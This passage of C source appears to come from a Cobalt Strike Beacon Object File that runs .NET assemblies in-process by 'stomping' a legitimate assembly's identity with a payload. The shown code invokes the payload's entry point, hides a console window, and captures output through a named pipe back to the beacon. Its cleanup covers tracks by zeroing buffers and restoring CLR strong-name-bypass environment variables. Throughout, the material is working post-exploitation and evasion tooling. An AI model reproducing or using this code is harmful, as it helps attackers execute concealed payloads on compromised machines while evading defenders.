hr = pDomainThunk->lpVtbl->QueryInterface(pDomainThunk, &xIID_AppDomain, (VOID**)&pAppDomain);

if (FAILED(hr)) { BeaconPrintf(CALLBACK_ERROR, "[!] QueryInterface(AppDomain): 0x%08lx\n", hr); goto per_call_cleanup; }

// Arm stomp + Load_2

stompPayload->stomped = FALSE;

stompPayload->pending = TRUE;

assemblyName = OLEAUT32$SysAllocString(victimFullIdentityW);

if (!assemblyName) { BeaconPrintf(CALLBACK_ERROR, "[!] SysAllocString failed\n"); stompPayload->pending = FALSE; goto per_call_cleanup; }

hr = pAppDomain->lpVtbl->Load_2(pAppDomain, assemblyName, &pAssembly);

stompPayload->pending = FALSE;

if (FAILED(hr)) { BeaconPrintf(CALLBACK_ERROR, "[!] Load_2: 0x%08lx\n", hr); goto per_call_cleanup; }

if (!stompPayload->stomped) { BeaconPrintf(CALLBACK_ERROR, "[!] Stomp did not fire\n"); goto per_call_cleanup; }

BeaconPrintf(CALLBACK_OUTPUT, "[+] Load_2 succeeded (stomped)\n");

//EntryPoint

BeaconPrintf(CALLBACK_OUTPUT, "[*] Resolving entry point\n");

hr = pAssembly->lpVtbl->EntryPoint(pAssembly, &pMethodInfo);

if (FAILED(hr) || !pMethodInfo) {

BeaconPrintf(CALLBACK_ERROR, "[!] EntryPoint: 0x%08lx (method=%p)\n",

hr, pMethodInfo);

goto per_call_cleanup;

}

BeaconPrintf(CALLBACK_OUTPUT, "[+] EntryPoint resolved\n");

obj.vt = VT_NULL;

//Named pipe

{

HMODULE hK32 = KERNEL32$GetModuleHandleA("kernel32.dll");

if (hK32) {

fnAllocConsole = (FnBoolVoid)KERNEL32$GetProcAddress(hK32, "AllocConsole");

fnFreeConsole = (FnBoolVoid)KERNEL32$GetProcAddress(hK32, "FreeConsole");

}

if (fnAllocConsole) allocatedConsole = fnAllocConsole();

if (allocatedConsole) {

FnGetConsoleWindow fnGetConsoleWindow = (FnGetConsoleWindow)KERNEL32$GetProcAddress(hK32, "GetConsoleWindow");

HWND wnd = fnGetConsoleWindow ? fnGetConsoleWindow() : NULL;

if (wnd) {

HMODULE hU32 = KERNEL32$GetModuleHandleA("user32.dll");

FnShowWindow fnShowWindow = hU32 ? (FnShowWindow)KERNEL32$GetProcAddress(hU32, "ShowWindow") : NULL;

if (fnShowWindow) fnShowWindow(wnd, 0); // SW_HIDE = 0

}

}

}

mainHandle = KERNEL32$CreateNamedPipeA(pipePath,

PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE,

PIPE_TYPE_BYTE, PIPE_UNLIMITED_INSTANCES, 65535, 4*1024*1024, 0, NULL);

hFile = KERNEL32$CreateFileA(pipePath, GENERIC_WRITE, FILE_SHARE_READ,

(LPSECURITY_ATTRIBUTES)NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (mainHandle != INVALID_HANDLE_VALUE && hFile != INVALID_HANDLE_VALUE) {

stdOutput = KERNEL32$GetStdHandle(STD_OUTPUT_HANDLE);

KERNEL32$SetStdHandle(STD_OUTPUT_HANDLE, hFile);

pipeSetup = TRUE;

}

// Invoke_3 ─────────────────────────────────────────────────────────

BeaconPrintf(CALLBACK_OUTPUT, "[*] Invoking entry point\n");

{

SAFEARRAY* pParamInfos = NULL;

BOOL hasParams = FALSE;

if (SUCCEEDED(pMethodInfo->lpVtbl->GetParameters(pMethodInfo, &pParamInfos)) && pParamInfos)

hasParams = pParamInfos->rgsabound[0].cElements > 0;

if (pParamInfos) { OLEAUT32$SafeArrayDestroy(pParamInfos); pParamInfos = NULL; }

hr = pMethodInfo->lpVtbl->Invoke_3(pMethodInfo, obj, hasParams ? params : NULL, &retVal);

}

BeaconPrintf(CALLBACK_OUTPUT, "[+] Invoke_3 returned 0x%08lx\n", hr);

if (pipeSetup) {

KERNEL32$SetStdHandle(STD_OUTPUT_HANDLE, stdOutput);

KERNEL32$CloseHandle(hFile); hFile = INVALID_HANDLE_VALUE;

{

DWORD bytesRead = 0;

char* returnData = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, 65536);

if (returnData) {

while (KERNEL32$ReadFile(mainHandle, returnData, 65535, &bytesRead, NULL) && bytesRead > 0) {

returnData[bytesRead] = '\0';

BeaconPrintf(CALLBACK_OUTPUT, "%s", returnData);

MSVCRT$memset(returnData, 0, 65536);

}

KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, returnData);

}

}

KERNEL32$CloseHandle(mainHandle); mainHandle = INVALID_HANDLE_VALUE;

if (allocatedConsole && fnFreeConsole) fnFreeConsole();

}

// Per-call COM release + AppDomain unload

// Possible bug since appdomain still waits for GC... TODO investigate

per_call_cleanup:

if (pMethodInfo) { pMethodInfo->lpVtbl->Release(pMethodInfo); pMethodInfo = NULL; }

if (pAssembly) { pAssembly->lpVtbl->Release(pAssembly); pAssembly = NULL; }

if (pAppDomain) { pAppDomain->lpVtbl->Release(pAppDomain); pAppDomain = NULL; }

if (pDomainThunk && pCorHost) {

HRESULT hrUnload = pCorHost->lpVtbl->UnloadDomain(pCorHost, pDomainThunk);

if (FAILED(hrUnload)) {

BeaconPrintf(CALLBACK_ERROR, "[!] UnloadDomain: 0x%08lx (domain may leak)\n", hrUnload);

} else {

BeaconPrintf(CALLBACK_OUTPUT, "[+] UnloadDomain succeeded\n");

}

}

if (pDomainThunk) { pDomainThunk->lpVtbl->Release(pDomainThunk); pDomainThunk = NULL; }

if (assemblyName) {

MSVCRT$memset(assemblyName, 0, _bof_SysStringByteLen(assemblyName));

OLEAUT32$SysFreeString(assemblyName); assemblyName = NULL;

}

if (params) { OLEAUT32$SafeArrayDestroy(params); params = NULL; }

OLEAUT32$VariantClear(&retVal);

OLEAUT32$VariantClear(&args_v);

if (wAssemblyArgs) { KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, wAssemblyArgs); wAssemblyArgs = NULL; }

if (argArray) { KERNEL32$LocalFree(argArray); argArray = NULL; }

if (appDomainNameW) { KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, appDomainNameW); appDomainNameW = NULL; }

if (pipePath) { MSVCRT$memset(pipePath, 0, pipePathLen); KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pipePath); pipePath = NULL; }

if (hFile != INVALID_HANDLE_VALUE) { KERNEL32$CloseHandle(hFile); }

if (mainHandle != INVALID_HANDLE_VALUE) { KERNEL32$CloseHandle(mainHandle); }

if (!hostStatePersisted)

releaseUnpersistedHostState(runtimeStarted, pCustomHost, pCorHost,

pHostControl, memoryManager, stompPayload,

NULL, NULL);

if (pRuntimeInfo) { pRuntimeInfo->lpVtbl->Release(pRuntimeInfo); pRuntimeInfo = NULL; }

if (pMetaHost) { pMetaHost->lpVtbl->Release(pMetaHost); pMetaHost = NULL; }

return;

//Failure path before per-call state is set up

cleanup:

if (savedComplus) {

KERNEL32$SetEnvironmentVariableA("COMPLUS_ZapDisable", hadZapDisable ? oldZapDisable : NULL);

KERNEL32$SetEnvironmentVariableA("COMPLUS_AllowStrongNameBypass", hadSNBypass ? oldSNBypass : NULL);

savedComplus = FALSE;

}

if (payloadBytes) {

MSVCRT$memset(payloadBytes, 0, payloadSize);

KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, payloadBytes);

payloadBytes = NULL;

}

if (pipePath) { KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pipePath); pipePath = NULL; }

if (!hostStatePersisted)

releaseUnpersistedHostState(runtimeStarted, pCustomHost, pCorHost,

pHostControl, memoryManager, stompPayload,

persistentVtables, hMMF);

if (pRuntimeInfo) { pRuntimeInfo->lpVtbl->Release(pRuntimeInfo); }

if (pMetaHost) { pMetaHost->lpVtbl->Release(pMetaHost); }

if (coInitialized) { OLE32$CoUninitialize(); coInitialized = FALSE; }

}